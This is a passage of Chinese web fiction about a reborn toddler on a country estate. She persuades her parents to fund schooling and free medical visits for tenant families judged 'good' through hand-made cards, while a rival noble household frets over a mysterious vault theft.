孟大川又伸出手,爱怜地捋了捋她细软微黄的头发,“想太多不长头发,就不漂亮了。神仙姑姑的话,爹爹都记着呢,柒叔都做了防备,庄子周围加派了人手日夜巡守,坏人来不了。”
阿沅却还是一副呆萌模样,小眉头拧成了浅浅的“川”字,仿佛在努力思考着什么了不得的大事,那模样又认真又可爱,看得孟大川心都要化了。
外贼易防,可要是这些贼人来自庄子内部呢?
“大雪封山,马车已经进不来了,骑马也不容易进。”孟大川解释道,他的想法是,就算骑马能进,谅他们也不敢再来了,已经折了两辆马车,几个人,再来也是送死。他语气沉稳,试图安抚女儿。
“窝要坏银(人)少少,好银多多。”阿沅发愁地晃了晃小脑袋,奶声奶气却异常清晰地说道。
她心里萌生了与爹爹不同的想法。想到梦里孟大川被火烧的时候,沙哑的声音喊得无比凄厉,那得多疼啊,可是偌大的庄子居然没有几个人来救火,那种孤独绝望的境地让她的小心肝揪着难受。
她想要改变,想让庄子变得暖融融的,主家有事,大家帮忙。
“过完年,爹爹给哥哥找一个夫子,也给阿沅找一个女夫子可好?”孟大川看小不点眉头紧锁,想什么也不跟自己说,就想分散她的注意力,也半是逗弄半是认真地说道。
“夫子?”阿沅一听说要读书,下意识地小眉头果然皱得更深,粉嘟嘟的小脸都垮了下来,但也只是一瞬间,就忽然眼睛一亮,变成了惊喜,马上伸出小短手指着门外惊呼出声:“夫子,也可以教哥哥姐姐吗?”
看见女儿嫩笋尖似的手指指向了门外——那些佃户家的孩子,孟大川有点意外:“阿沅想要庄子里的哥哥姐姐也要读上书?”
“嗯嗯!”阿沅用力点着小脑袋,头上的小揪揪也跟着一颤一颤,“娘亲说,读书明理。”小家伙还煞有介事地做了个针戳手指的动作,表示绣花辛苦,又道:“绣帕子,卖钱钱。”
最后,她把小脑袋摇得像个拨浪鼓,表情严肃地补充:“不死(使)坏!不做坏事!”
“阿沅这个主意好。”孟大川心中一动,若是可以,他真想看看小家伙脑袋里到底装的都是什么奇思妙想?看她刚才呆萌凝神的样子,可不像是在听神仙姑姑教诲,而是确确实实自己上了心,在琢磨事情。
这想法,倒比他们大人想得还要长远通透些。
“那…也不是不行,”孟大川沉吟道,“爹爹跟娘亲商量了再说。”儿子的状况现在日渐好转,除了读书,每天都会过来跟他聊一阵,甚至懂得设计去应付即将到来的横祸。
而他自己,即使腿脚能够恢复,应该也不是短时间的事,在此之前,绝不能再踏进那个狼窝。既然要长居于此,那就应该有更长远的谋算。
儿子以后要继续参加科考的,自然要请个好的夫子。但是庄子里的孩子,读书认字不做睁眼瞎,都不用秀才,有个童生就行,附近的镇子就能找到。
再看看眼前笑的眼睛弯成了小月牙,脸上还挂着两个深深小奶瓢的呆萌女儿,他心里一片柔软:还小呢,有他和妻子悉心教导就行,理应活得无忧无虑,不用急着去接触那琴棋书画的苦。
“还有哦!”小家伙可不满足,又盘算开了,眼睛贼贼溜溜,圆圆滚滚,黑白分明地看着他,像只正在囤粮的小仓鼠,机灵又可爱。
“让老北爷爷……给银(人)……看病!”短短的小胖手指又坚定地指向了院门外,意指让老北爷爷能给庄子里的其他人看病。
“想什么呢?阿沅不能总那么滥好心,”柳氏什么时候悄声进来的,父女二人后知后觉,阿沅小屁股上马上挨了她不轻不重的一巴掌。
“庄子里老少妇孺上百人,哪天没有头疼脑热的?给他们看病,老北爷爷还要不要管爹爹了?”柳氏语气带着嗔怪。
“娘亲,嘿嘿!不疼!”阿沅转头就熟门熟路地趴到了娘亲身上,小脸在她怀里蹭啊蹭啊蹭,像只撒娇的小猫,蹭得柳氏的心软成一片,但仍然佯装板起脸:“阿沅还要不要爹爹和哥哥好了?”
老北叔天天雷打不动地来给孟大川扎针。但是对孟怀瑾和柳氏,只是每天搭个平安脉,说是一天天都在好转。也不给他们另外开药方,说是体内残余的毒素排完,再用药膳调养就行。
阿沅却还是坚持她那句稚气却固执的话:“要好银(人)多多,坏银(人)少少。”
作为来自后世的现代灵魂,她知道古代医疗条件匮乏,随随便便一个感冒风寒就可能拖成重症,甚至死亡。
如果庄子里有个头疼脑热,老北爷爷能及时施以援手,那就是雪中送炭。虽然不一定能让人个个感恩戴德,但人心都是肉长的,在危难之时伸过手,总能让这庄子的人心更凝聚些,没那么容易被人轻易收买去做坏事。
孟大川拉了拉柳氏的手,示意她先坐下,温声道:“听听孩子怎么说。”柳氏顺着他的力道坐在床沿,两人一同耐心地看向女儿,等待她的小脑袋瓜里又能冒出什么“高见”。
“窝给他们发好银(人)卡!”阿沅头摇得像拨浪鼓,小手比划着,“好银(人)看,坏银(人)不给看!”
她想到了现代医院的就诊卡模式,先“挂号”,有了“好人卡”才能看病。至于谁是好人,谁是坏人?
嘿嘿!阿沅心里有小算盘,可以观察嘛,听话的,为主家着想的、心地善良的,就是好人!
孟大川听了,眼中闪过思索,语气上有了松动:“只要一天里来的人不多,再规定个固定的看诊时辰,比如每日午后一个时辰,也不是不行。不过,爹爹得先跟老北爷爷通个气,看看他老人家的意思。”
柳氏却还是有些焦急和不赞同:“不行,夫君怎么也跟着小孩子胡闹?请个童生或是秀才来教孩子们识字,也就是束脩银子的事,看了诊可是要真金白银花出去买药材的!”
柳氏持家惯了,想到白花花的银子要这么流水似的花出去,就感觉到无比心疼,如今他们虽有积蓄,但也经不起这么折腾,以后花银子的地方还多着呢。
“侯府那不是又‘送’了一份嫁妆?”孟大川笑着提醒,带着几分讥诮,“指不定现在侯府这个年过得无比糟心,偷鸡不成蚀把米。”
他说着,忍不住伸手捋了捋柳氏颊边垂下的柔顺秀发,又亲昵地捏了捏她柔软的耳垂,把她揽住往自己的身边靠。
柳氏脸上立刻飞起两片红霞,如染胭脂,嗔怪地白了他一眼,又紧张地看了一眼身旁的小女儿,生怕带坏了孩子。
阿沅猝不及防被爹娘塞了满嘴“狗粮”,却觉得心里甜丝丝的,比吃了蜜糖还开心,立刻在旁边添油加醋,挥舞着小拳头表决心:“窝种地!种好多好多粮食,帮娘亲攒嫁妆!”
“错了错了,”孟大川被女儿逗得哈哈大笑,纠正道,“是爹爹和娘亲帮我们阿沅攒嫁妆。”
“哈哈哈!”温馨快活的笑声顿时充满了整个屋子。三个人笑作一团,孟大川张开手臂将妻女一同搂住。
即使被爹爹和娘亲温暖的身子压在下面,成了小小的“夹心”,阿沅还是高兴地手舞足蹈,四只小短胳膊小短腿像划小船似的扑腾着,心里美滋滋地觉得:说服爹娘,大功告成!
第一卷 第34章 好人卡
由孟大川授意,孟怀瑾精心制作的“好人卡”终于送到了阿沅手上。
卡片只有阿沅的小巴掌那么大,用硬实的纸片裁成。卡片正中央,果真就是三个端端正正的大字——“好人卡”,旁边还用朱砂印泥盖了拇指头大小的一方精巧小印,是孟怀瑾自己刻的“安平”二字,算是防伪标志。
卡片四周,还被他用青绿和赭石颜料描了一圈雅致简洁的缠枝花纹,显得既郑重又别致。
“哈哈哈!”拿到这一沓还散发着淡淡墨香和颜料味道的“好人卡”,阿沅兴奋得在床上滚来滚去,像只快乐的小肉球。
她把卡片举到眼前,看了又看,爱不释手,笑得眼睛眯成了两条弯弯的小缝,露出几颗白白的小米牙,嘴里还发出“咯咯咯”的欢快声音。把一旁侍立的红袖和莲子弄得莫名其妙,面面相觑,不知道自家小姐对这叠小纸片高兴个什么劲。
“绿果、红豆,你们也来。”阿沅刚被娘亲喂了一小碗甜甜的牛乳羹和几块软糯的点心,小肚子吃得圆鼓鼓,正有劲儿没处使呢。
她一骨碌爬起来,盘着小短腿坐在床上,挺起小胸脯,颇有点“小当家”的架势。
绿果、红豆、红袖、莲子四个赶紧在她面前一字排开,齐刷刷站好,睁着亮晶晶的眼睛,听候小主人的吩咐。
阿沅拿起一张“好人卡”,用小胖手指先指向绿果和红豆,奶声奶气却十分认真地分派任务:“泥们,负责去听……唔,去……听墙角。”说完这个词,自己又咯咯笑。
“又去侯府?”绿果和红豆眼睛立刻亮了,两人不约而同地往前凑了半步,脸上露出跃跃欲试的神情。
在她们看来,能帮小姐去“搞事情”,尤其是针对那讨厌的侯府,就是最光荣、最刺激的任务,恨不得立刻摩拳擦掌,再立新功。
“不系(是)啦!”阿沅摇摇小脑袋,头上的小揪揪跟着晃了晃,小胖手又指向了窗外,更广阔的庄子方向,“庄子里,佃户家。”
绿果和红豆:??
两人脸上同时浮现出大大的问号,都有些懵了。红豆性子更直些,忍不住发问:“小姐,具体要听些什么呀?是听他们说不说主家坏话吗?”
“听……听……”阿沅张了张小嘴,却一时组织不好更复杂的语言,急得小脸都微微泛红了,憋了半天才补充道,“听谁好,谁坏呀!”
“哎呀,你们怎么那么笨呀!”旁边的红袖看得着急,忍不住跺了跺脚,叉起小腰,对着绿果和红豆“怒目而视”,“小姐这不是要发‘好人卡’嘛!好人才能拿到卡,懂不懂?你们懂不懂?就是让你们去听听看看,谁家心眼好,勤快本分,不偷懒不说闲话,谁家爱占小便宜、背后嘀嘀咕咕……这叫‘好人卡’,懂不懂呀?”
她一口气说完,小胸脯还挺了挺,觉得自己解释得非常到位。
“对!好人发卡,坏人……坏人……”莲子也挥舞着小拳头帮腔,努力想找出有气势的词,“坏人就不给!再坏,就打他!”说着她还撸了撸自己那圈的扎实袖子,摆出个自以为凶狠的小模样,逗得阿沅又“咯咯”笑了起来,但仍然点头表示认同。
莲子眼珠子转了转,想起什么,主动请缨:“小姐,这事我奶奶和我阿娘也能帮着干!每天黄昏,她们都喜欢聚在大榕树底下做活计、唠嗑,那里人多,消息也灵通。还有我,我也能干!”
她拍拍自己还单薄的小胸脯,“我可以去晒场跟那些小屁孩们玩,大人有时候说话不防备,小屁孩也能听到点啥。”她自己明明也是个“三寸丁”的小娃娃,说起“小屁孩”来却一副小大人般理直气壮的样子。
“行!”阿沅被她们说得心花怒放,觉得自己的“好人卡计划”有了得力的小帮手。她大大方方从那沓卡片最上面抽出三张,给绿果、红豆和莲子一人面前“啪”地拍了一张,动作豪气得很。
想了想,觉得还得有点激励,又小心翼翼地抽出一张,放在她们面前晃了晃,乌溜溜的大眼睛里闪着狡黠的光:“做好事,特别特别好的事,还可以‘抢’这张哦!先到先得!”
“小姐,那要怎么样的好事才算‘特别特别好’呀?”三人还是有点懵懂,莲子更是把卡片翻来覆去地看,仿佛想从那些花纹和字里盯出朵花或者银子来似的,小脸上满是困惑。
“笨!”红袖又忍不住了,伸出小手指,虚虚地点了点她们的额头,“帮主家好好办事,不偷奸耍滑,主动多干活,或者……或者像上次张婶子那样,捡到瑾少爷掉的书本赶紧送回来,这就是好事呀!要是谁家能在紧要关头帮了咱们大院的大忙,那不就是‘特别特别好’的事吗?”她分析得头头是道,小脸上满是得意。
阿沅在旁边笑得见眉不见眼,小脑袋点得像小鸡啄米:谁说红袖笨、不机灵来着?这不点都通嘛,说得又利索又明白,完全表达出了自己的意思,真是个贴心又聪明!
柳氏是等她们在屋里叽叽喳喳闹腾得差不多了,才笑着掀帘子进来的。她接过女儿手里的“好人卡”,又详细地向几个小丫鬟交代了一遍:“你们得了小姐的令,去帮着留心观察是好的。不过更要紧的是,要告诉那些得了‘好人卡’的人家,每张卡,可以凭它到大院来,让老北郎中给看一次诊。
像现在猫冬时节,可以在每日午后来;等开春农忙了,就改在下工后的黄昏时分,每次最多看一个时辰。诊费和药费,只要不是特别名贵的药材,主家就全免了。其余时间是不看诊的。这规矩,可得说清楚了。”
“明白了,夫人!”绿果和红豆这下总算彻底舒了口气,眼睛亮晶晶的,彻底明白了这“好人卡”的意义和分量——这不仅仅是一张能看病的凭证,更是一种认可和奖赏!两人互相看了看,都觉得自己肩上的“任务”重要极了,莲子小胸脯挺得更高了。
“那我们院里的人呢?发不发?”绿果想了想又问,然后忐忑地看向了自家主子。
“把主子伺候好了,主子还能亏待你不成。”这回红袖直接上脚踢,一副恨铁不成钢的样子。
虽然不疼,红豆觉得委屈,躲了躲:“又不是我问的!”
“哈哈哈!”这一回,一屋子的人都笑了。
阿沅:“泥们都是好银!”
第一卷 第35章 嘉禾庄炸开了锅
第二天,嘉禾庄就炸开了锅。
庄子里的早间宁静就被接二连三的惊叫与议论撕得粉碎。寒气裹着人声,在雪地上空窜来窜去。
东头老赵家的婆娘嗓门最大,拍着大腿在院门口嚷嚷:“诶呀!邪门了,我家窗口明明才糊了新纸,刷了厚浆糊,昨晚‘噼里啪啦’全碎了,跟被刀子划了似的!那风呜呜地直往里灌,冻得炕上的娃直哆嗦。要不是屋里烧了盆旺炭要透气,全家怕不是得冻死!”
旁边端着破碗喝粥的邻居探过头:“可不是?我家那口用了二十多年、比石头还结实的大水缸,昨儿半夜‘哐啷’一声,自己就裂了道大口子,水淌了一地,早上起来都结成冰溜子了。也幸亏这老天爷下了满世界的雪,化开还能用,不然今早煮饭都没口水使。”
另一个妇人拢着袖子,脸色发白,声音都带着颤:“我家更邪乎……你说这大冬天,雪封了山,哪来的活物?可偏偏……偏偏就进了两条蛇!黑底花斑的,从门缝底下钻进来的,就盘在灶膛灰里,吐着那红信子‘嘶嘶’响,把我那才五岁的孙儿都吓傻了,到现在还说不出囫囵话。”
……
几个上了年纪、平日里就爱凑堆说道的老婆子聚在榕树下的屋角边,交头接耳,话里话外透着笃定与隐隐的幸灾乐祸。
“一辈子没听说过这种蹊跷事,你别不是平日里做了什么亏心事,如今被鬼找上门了吧?”
“就是就是,你细瞅瞅出事的这几家,不是那爱搬弄是非的搅屎棍,就是背后嚼舌根的长舌妇,再不然就是家里男丁手脚不干净、偷鸡摸狗的。定是恶事做多了,积了阴损,如今老天爷都看不过去,给他们点警告呢。”
“哼,再不改过自新,怕是要跟没了的老庄头,还有被雪压了全家的小管事一样,不得善终咯!”
……
一开始因家中怪事而惊慌失措、咋咋呼呼的几户人家,被这左邻右舍夹枪带棒的风言风语一冲,反应各异。
有的自知理亏,臊红了脸,缩着脖子“哐当”关紧了院门,躲在屋里不敢吱声。但也有那素来泼辣、不肯吃亏的,梗着脖子跳脚对骂,陈婆子便是其中翘楚。
她猛地拉开院门,叉着腰,一口唾沫险些啐到议论的人群里,嗓音尖利得像破锣:“你们这些黑了心肝的烂嘴贱人!都不得好死!全是落井下石的坏坯,恨不得别人家都死绝了才称你们的心!我招你惹你了?用得着你们来指手画脚?也不掂量掂量自己几斤几两,看我是不是那任你们拿捏的软柿子!
二婆子,说的就是你!我诅咒今晚招灾招祸的就是你家,小心你家那如花似玉的两个闺女,半夜就被阎王爷派的小鬼糟蹋了去!”
被点名的二叔婆岂是忍气吞声的主?当下也炸了,撸起袖子就冲过来:“陈婆子!你个老虔婆敢咒我闺女?我跟你拼了!”话音未落,枯瘦但有力的手就朝陈婆子脸上挠去。
“你自家没一个好东西!专干那偷鸡摸狗的腌臜事!得了主家好处不知道感恩,前儿你们算计了看庄子的大黄狗,炖了吃肉,别以为别人不知道。你这种人渣,活该孙子不是聋就是瞎!”
“呸!你家也好不到哪去!生了两个赔钱货丫头片子,活该断子绝孙,没人捧香炉!”
“我不做亏心事,半夜不怕鬼敲门!你就等着老天爷报应吧!”
……
阿沅带着红袖她们四个出门溜达的时候,庄子里的妇人拌嘴吵架的可不少,声音此起彼伏。
动手打架的就有三四户,甚至有两户是全家老小齐上阵的,揪头发、扯衣服,雪地上滚作一团,脸上手上都挂了彩,乌眼青、血道子,看着好不热闹。
“二叔婆,你来。”绿果眼尖,瞧见了打得最凶、也最引人注目的那一堆,得了阿沅一个眼神,便挺起小胸脯,站到了扭打在一起的陈婆子和二叔婆中间,声音清亮。
陈婆子正被二叔婆扯着头发,闻言像得了救星,猛地挣脱开来,顶着鸡窝似的乱发,脸上还有几道血痕,却瞬间挤出一副谄媚到极点的笑容,水瓜似的胸脯挺得更高了。
她几步就凑到了被绿果、红豆、莲子护着的阿沅面前,还不忘回头高声叫嚷,试图先声夺人:“看到了吧!报应来了!小姐英明,定是来找她麻烦的!小姐,小姐您可得给老婆子做主啊!就是这婆子,蔫坏!有她在,咱们庄子就不得安宁!今儿这事,就是她先挑的头,骂得可难听了!还打人……”
“拉什么呢?我自己会走!”二叔婆气得浑身发抖,一把拍开陈婆子试图拉扯她袖子的手,整了整凌乱的衣襟,尽管脸上也有伤,却努力站直了身子,看向被簇拥着的小姐。
小丫头穿着大红羽缎斗篷,甚至圆圆滚滚的,雪帽下一张玉雪可爱的小脸,黑白分明的大眼睛正瞅着她们,看不出喜怒。
二叔婆心一横,朗声道:“老婆子我一辈子光明磊落,不做亏心事。今儿这架,我是打了,我认!任凭小姐发落!”说着,膝盖一弯就要往下跪。
陈婆子见状乐得直拍手,脸上的谄媚变成了毫不掩饰的得意,像个疯癫的婆子般叫唤:“小姐,罚她!重重的罚!最好把她一家都赶出庄子去,地都不给她种,看她还横!”
听到这话,原本站在二叔婆旁边、吓得瑟瑟发抖的两个姑娘,脸色唰地白了,膝盖一软,齐齐“扑通”一声跪在了冰冷的雪地里,带着哭腔哀求:“小姐,不是的……奶奶没挑事,是陈婆子先骂人的……别赶我们走……要罚就罚我们俩吧……”
“窝都没说话,跪什么跪?”孟沅有点不高兴了,小眉头蹙了起来。她只是睡醒了无聊,听说庄子“炸了锅”,想出来看看今天谁家表现好能得“好人卡”,顺便瞧瞧热闹,怎么就一下子被推到“判案”的位置上了?
这些古代人真是的,动不动就下跪,膝盖那么软吗?阿沅心里的小人儿叉着腰,她觉得只跪天、跪地、跪爹娘才是正理!
“没听到小姐说话吗?叫你们都起来。”红豆反应快,立刻瞪了还想继续煽风点火的陈婆子一眼,那眼神带着不符合年龄的严厉。接着,她提高声音,朝着人群唤道:“黑丫,黑丫家在吗?出来一下。”
第一卷 第36章 就要这种效果
“黑丫家?哼,他们一家也不是什么好东西……”陈婆子嘴巴翕动,憋不住又小声嘀咕了一句,眼神飘忽,满是怨毒。
看见跪着的二叔婆和两个小丫头已经被绿果和红豆一左一右扶了起来,红袖气急——这陈婆子实在太没眼色!她上前一步,抬起穿着棉鞋的脚,作势要踢陈婆子的小腿:“就你是好人?再多嘴试试!”
陈婆子吓得连忙缩脚躲过,终于彻底噤声,缩着肩膀退到一边,眼珠子却还在乱转,十足十的欺软怕硬模样。
阿沅小嘴巴微动,伸出戴着兔毛手捂、嫩藕似的小手指,明确地指向陈婆子,仰起小脸对红袖说,每个字都努力说清晰:“红袖,记起来。她……坏……不发好人卡,也不能读书。”
哼,这种挑事精、坏心眼,才不能给她家福利。
红袖领命,往前站了半步。她年纪虽小,但跟着夫人身边也学了点架势,此刻小脸绷着,努力让自己的声音传得更远、更清晰:“陈婆子,你听好了:你家,往后一辈子都领不到‘好人卡’,子孙后代,只要在嘉禾庄,都不得进学堂读书!”
这话正对阿沅的下怀,她听得咧开小嘴,露出米粒似的小白牙,笑得眼睛弯成了月牙儿,还跟着重重点了下小脑袋。
这大雪的天,本就无处可去,庄子里老老小小的佃户几乎都出来凑这份“热闹”了。他们起初听不太懂三岁小姐那奶声奶气的话,对红袖宣布的“判决”也有些懵懂。
但“读书”两个字,却像重锤一样,清晰地撞进了每个人的耳朵里,激起了不小的涟漪。特别是那些半大孩子,眼睛都亮了,又带着疑惑和渴望,不由自主地聚拢到了阿沅她们周围。
“我就是黑丫!庄子里就属我得罪陈婆子家最多!其他家……也有得罪的。”一个看着约莫十二三岁的丫头从人群里挤了出来,毫不畏惧地站到了二叔婆身边,但是话说到后面似乎有点心虚。
那模样……怎么说呢?倒不是丑,眉眼甚至称得上端正。可在这满世界皑皑白雪的映衬下,她那身旧棉衣掩不住的、异常黝黑的皮肤,就显得格外突兀扎眼,活像不小心撒在洁白宣纸上的一滴浓墨,怎么也忽略不掉。
她站得笔直,先看了一眼红袖,最后目光径直落在了被簇拥着的小姐——阿沅的脸上,大义凛然,眼神清亮,并无惧色,甚至带着点倔强。
阿沅看着她,“嘿嘿”笑出了声。除了这身黑皮囊不像,那小模样,那眼神里的直愣和坦荡,倒让她想起了现代的一个同学——也是这般性格爽利,眼里容不下沙子,就是说话太直,老是得罪人,人送外号“小钢炮”。
阿沅觉得有点亲切。
绿果上前,将第一张“好人卡”,递给二叔婆:“你的好人卡,收好了。”
红豆也拿出一张,递给那个黑丫头:“黑丫,这是你的。”
所有人都愣住了,拿到卡的二叔婆和黑丫也懵了,捏着那陌生的纸片,翻来覆去地看,终于听清了“好人卡”三个字。
红袖挺直小腰板,把昨天从夫人那里听来的、关于“好人卡”的用处和规矩,一字不漏、条理清晰地大声复述了一遍。她声音清脆,口齿伶俐,竟说得明明白白,连大人都不一定能记得这么全。
肯定是昨晚没睡觉都背熟了,阿沅想。
“啥?还有这等好事?”佃户中间顿时像炸开了锅,比刚才议论怪事时更加沸腾,仿佛皑皑白雪都被这突如其来的好消息煮沸了。
“平常娃们有个头疼脑热,得抬着背着走出十几里地去镇上瞧大夫,一次诊金起码就得五十文!还得看郎中脸色……”
“听清楚没?红袖姑娘说了,拿了这卡,让侯府的郎中看病,连药钱都给免!”
“早就听说大夫人心善,菩萨心肠,果然是真的啊!”
二叔婆和黑丫这时候才彻底醒悟过来,手里那张轻飘飘的纸片瞬间重如千钧。两人激动得嘴唇哆嗦,又想跪下磕头,连声道:“谢谢大夫人!谢谢大爷!谢谢小姐天大的恩德!”被绿果和红豆一左一右赶紧架住,才没又跪下去。
“以后……以后咱们好好帮主家做事,不偷懒,不耍滑,是不是就能得这‘好人卡’了?”有人试探着问,眼里充满希冀。
“对呀!我看还得像黑丫和二叔婆这样,敢跟陈婆子那家子的恶行对着干,主家才喜欢!下回我也要拿好人卡!”
“对对,我也要拿!我明天就去把村口那堆乱石头清了,那是公家的路!”
所有人的目光,又热切地投向了莲子手里还剩下的最后一张“好人卡”,七嘴八舌,心里都有了新的算计和期盼。
红袖见效果不错,趁热打铁,又把夫人说的,过完年后主家要请先生教男娃识字、请绣娘教女娃针线活计的事情宣布了一遍。这回掀起的波澜却没那么一致了。
“小子们读书认字倒是好的,将来也许能有个出路,不用一辈子刨土。”
“就是啊……可闺女家……还是算了吧?学那些有啥用?”
“就是,都跑出去学什么针线,家里的活谁干?总不能我们大人辛苦一天从地里回来,家里还乱糟糟的,连口热水都没得喝吧?”
“女娃娃,早点学会持家做饭才是正经……”
……
阿沅没想到会是这样的反应,小嘴不由得撅了起来。她知道古代人的想法有局限,重男轻女是常态,可亲耳听到,还是有点小小的气闷。
她掰着自己戴着兔毛手捂、嫩生生的手指头,努力组织着语言,想为这里的女孩子们争点福利:“学好了……可以去绣坊……也能进主院,挣钱钱!自己挣!”她试图用最直白、最实际的利益去说服他们。
“听到没?”红袖立刻接过阿沅的话头,声音拔高了些,带着一种与有荣焉的机灵劲儿,“小姐说了,学得好的,将来能到主院做体面的大丫鬟,有月例银子拿,还有漂亮衣裳穿!”说完还把自己身穿新袄子的身子往前挺了挺。
“要是针线活出挑,送去城里的绣坊做绣娘,手艺好的还能当上管事娘子呢!”阿沅有点恍惚,若不是再三确认过,她几乎要以为红袖也是穿越来的了。
怎么越来越聪明,这么会“翻译”和“发挥”她的意思了呢?
“还能这样?”
“那……那不是比留在家里,跟着咱们刨土、围着锅台转强多了?”
“要是真能学出来,往家里拿工钱,那也是贴补家用啊!”
“说得是……兴许,还能因此说上一门好亲事呢……”
……
“嘿嘿!”阿沅听着周围议论声的风向渐渐转变,这才重新开心起来,小脸上漾开笑容。
她要的就是这种效果。再说了,她心里还藏着小九九呢——以后她要想种出高产的好稻谷,也是需要人才的。
那些新奇的高产稻种,还有更先进的种植法子,比起那些固守成规、可能不愿意改变的老庄稼把式,说不定这些能读书识字、愿意学新东西的年轻孩子,不管是小子还是丫头,都更好接受!
阿沅仿佛已经看到了绿油油的稻田和金灿灿的谷穗,在她的小脑袋瓜里摇曳生姿。
第37章 二房也失窃了
安平侯府完全没有一丝马上要过年的喜庆气氛,廊檐下不见红灯笼,窗棂上未贴新窗花,整座府邸阴沉沉地笼罩在一股大厦将倾的黑暗氛围里,仿佛连冬日惨淡的天光都透不进这重重院落。
眼看衙门两天后就要封笔,老宋氏这几日如同在热锅上煎熬。
京兆尹那边的威压像悬在头顶的刀子,逼得她喘不过气;儿子孟二泉也日日来催,言语间已失了往日的恭敬,只剩下不容置疑的逼迫。
她不得不硬着头皮筹备归还柳氏那笔庞大嫁妆的事,光是核对账目、清点器物就已让她焦头烂额,心里头仿佛有把钝刀在慢慢割。
更雪上加霜的是,平日帮她掌家、出主意的小宋氏,虽说侥幸捡回一条命,却生生被截去了双腿,如今瘫在床上,性情大变,再也帮不上忙。
老宋氏只觉得自己的左膀右臂被生生斩断,满心糟污无处排遣,看什么都觉得堵得慌。
“祖母,您倒是管管呀!我娘都成了那副模样,父亲竟一眼都不来看,日日夜夜只宿在红姨娘那狐狸精的院里,您怎能由着他这般胡来?”孟怀堂已经好久没去学堂,借着母亲伤重的由头赖在家里。
他本就不是块读书的料,对躺在床上的母亲也无多少真切孝心,只是见父亲如此凉薄,心里不免生出兔死狐悲的寒意,更兼着对红姨娘的嫉恨,便跑到祖母跟前煽风点火。
老宋氏抬了抬沉重的眼皮,眼底两团浓重的青黑衬得她面色更显灰败。她看着这个平日里疼在骨子里的孙子,心头涌起一阵疲惫的厌烦。
“你爹他心里也烦着,外头的事够他操心了。过段时日,等他缓过来就好了。后院妇道人家的事,你一个哥儿少掺和,只管读好你的书便是。听话,祖母不会亏待你,这侯府将来总归都是你的。”她挥挥手,声音干涩,只想尽快将他打发走。
小宋氏残了,再想用她拴住儿子那好色喜新的心已是不能。孟二泉没流连烟花之地,只守着一个红姨娘,在老宋氏看来,竟已算是“本分”了。
孟怀堂得了准话,只坐了一会儿,还真走了。
“祖母,您就让孙女搬来您院里伺候吧!我娘她……她如今不分白天黑夜地哭喊咒骂,声音凄厉得像鬼嚎。我在隔壁院里听着,夜夜心惊,不得安宁。您瞧瞧,孙女这才几日,都瘦了一圈了。”孟绫捏着帕子,眼圈微红,一副楚楚可怜的模样。
小宋氏刚被抬回那日,她是第一个扑到床前哭得撕心裂肺的,做足了孝女姿态。可当郎中连连摇头,太医也确诊那双腿再也接不回后,她心底那点母女情分便被恐惧和算计压了过去。
这些日子她反复思量:父亲必定会另娶新妇,到时候,有了后娘就有后爹,她还能有什么好日子?唯有紧紧抱住祖母这条最粗的大腿,将来自己的婚事或许才能有所倚仗。
“你娘正是需要人安慰的时候,你当女儿的躲到祖母院里来,像什么话?传出去你的名声还要不要了?乖乖在你院里呆着,此事容后再议。”老宋氏扶着突突直跳的额角,只觉得一阵阵头痛欲裂。
一个两个,都不让她省心。她朝着孟绫也摆了摆手,示意她也赶紧离开。
就在这时,门外传来一阵慌乱的脚步声,张嬷嬷气喘吁吁地跑了进来,后面紧跟着她的一等丫鬟琥珀。两人皆是一脸惊惶,进门也顾不得礼数周全,直挺挺就跪在了冰冷的地砖上。
“老夫人!不好了!出大事了!”张嬷嬷的声音带着颤,琥珀更是伏在地上,不敢抬头。
“我还没死呢!这般咋咋呼呼,成何体统!”老宋氏心头猛地一沉,一股不祥的预感攥紧了她的心脏。她下意识想抓个茶盏摔出去泄愤,手边却早已空空如也。
这段时间茶盏摔的太多,一时还没有补回来。
本已转身欲走的孟绫,听到她们话音不对,立刻收回了脚步,闪身躲到一旁,竖起了耳朵。
“老夫人,大事不妙!芝……芝兰苑的库房,怕是也遭了贼!”张嬷嬷喘匀了一口气,急声道,“老奴遵命,让奴婢们开库清点,谁知……谁知里头存放的银票、铺面地契,全都不见了!说是还有一箱整齐的金锭银锭,也没了踪影!”
“什么?!”老宋氏如遭雷击,猛地从椅子上站起来,却又因气血上涌,眼前一黑,重重地跌坐回去,撞得椅背一声闷响。幸亏旁边的大丫鬟珍珠眼疾手快扶住了她,才没让她滑到地上去。
她捂着胸口,连顺了好几口气,才从牙缝里挤出问话:“何时发现的事?库房可有被撬的痕迹?门窗是否完好?”
“回老夫人,怪就怪在这里!”琥珀抬起头,脸上毫无血色,“那库房的门锁完好无损,窗户紧闭,没有丝毫溜门撬锁的痕迹!地上连个外人的脚印都找不到,那些东西……那些东西就像凭空消失了一样!奴婢们里里外外查了数遍,绝无错漏。”
张嬷嬷也连连点头补充:“芝兰苑的两个一等丫鬟当时都在场,眼睁睁看着打开的箱笼和匣子,里面空空如也。一个装银票契纸的紫檀木匣,还有一箱足色的金银,就这么没了。”
“……这定是出了内贼!去,把二爷给我叫过来!立刻!”老宋氏越想越觉得蹊跷,一股寒意从脚底窜起。含章苑如此,芝兰苑亦如此,这绝非寻常盗贼所为。
“对!定然是父亲!”孟绫闻言,像是抓住了什么把柄,几步冲回祖母身边,也顾不上礼数,挨着椅子边就坐了下来,脸上满是愤恨。
“他定是在外头养了不知廉耻的外室,缺了银钱花用,才把手伸到自己家里来!……哎呀!”
她像是突然想到什么更可怕的事,惊叫一声,掩口道:“祖母,您说……母亲出事,会不会也是父亲他为了给外室腾位置,所以才……”
“你给我住口!”孟绫的话犹如一把淬毒的匕首,狠狠扎进老宋氏心窝。她勃然大怒,想也未想,抡起胳膊,用尽全身力气,狠狠一巴掌掴在孟绫脸上!
第38章 画大饼给孟绫
“啪”一声脆响,在寂静的厅堂里格外惊心。孟绫被打得头猛地偏向一边,半边脸颊瞬间红肿起来,一个清晰的五指印浮现,嘴角甚至渗出了一缕血丝。
她整个人都被打懵了,耳朵里嗡嗡作响,好半晌才回过神,不可置信地捂住火辣辣的脸颊,泪水夺眶而出:“祖母……您打我?您竟然打我!父亲不要我们,如今连祖母也不要孙女了吗?”
她哭得伤心欲绝,一半是疼,更多的是计划落空和被最依赖之人背弃的恐惧与委屈。
“你再敢出去胡言乱语半个字,就不止这一巴掌了!”老宋氏胸口剧烈起伏,目光却锐利如刀,狠狠刮过地上跪着的张嬷嬷和琥珀。
“你们两个,立刻去把在场所有人的嘴给我封死了!今日芝兰苑的事,若有一星半点传出院外,坏了侯府和二爷的名声,我定活揭了你们的皮!”
“是,是,老奴(奴婢)明白!”张嬷嬷和琥珀吓得浑身一抖,连连磕头。
